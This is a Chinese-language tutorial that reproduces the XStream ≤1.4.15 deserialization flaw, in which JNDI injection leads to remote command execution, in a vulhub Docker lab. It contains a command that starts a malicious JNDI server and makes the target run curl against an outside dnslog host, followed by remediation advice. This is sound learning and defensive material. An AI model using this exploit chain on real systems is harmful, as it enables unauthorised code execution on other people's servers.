今天给大家介绍,XStream是一个简单易用的开源java类库,在解析XML文本时使用黑名单机制来防御反序列化漏洞,但之前的版本黑名单存在缺陷所以造成反序列化命令执行错误,下午具体来看一下复现过程吧。
0x00简介
XStream是一个轻量级、简单易用的开源Java类库,
它主要用于将对象序列化成XML(JSON)或反序列化为对象。
0x01漏洞概述
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,
但是其 1.4.15 及之前版本黑名单存在缺陷,
攻击者可利用javax.naming.ldap.Rdn$RdnEntry
及javax.sql.rowset.BaseRowSet构造JNDI注入,进而执行任意命令。
0x02影响范围
Xstream<=1.4.15
0x03环境搭建
文件:docker-compose.yml
version: '2'
services:
web:
image: vulhub/xstream:1.4.15
ports:
- "8080:8080"
命令:docker-compose up -d
环境启动后,
访问 http://your-ip:8080 ,
发送一个正常的XML数据包,
来确定环境是否搭建正常:
0x04漏洞复现
- 启动恶意的JNDI服务器
地址:https://github.com/welk1n/JNDI-Injection-Exploit/
命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl jsqghe.dnslog.cn" -A 192.168.1.142
- 发送payload到web服务器来执行命令
使用基于SpringBoot利用链的RMI地址作为<dataSource>的值.
查看恶意的JNDI服务器请求情况,
发现漏洞服务器访问了JNDI服务并执行了curl命令,
可以获得dnslog请求记录:
dnslog:
0x05修复建议
- 配置XStream的安全框架为允许的类型使用白名单
- 注册自己的转换器,以防止解组当前已知的Java运行时关键类型
- 升级XStream到最新版本
*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。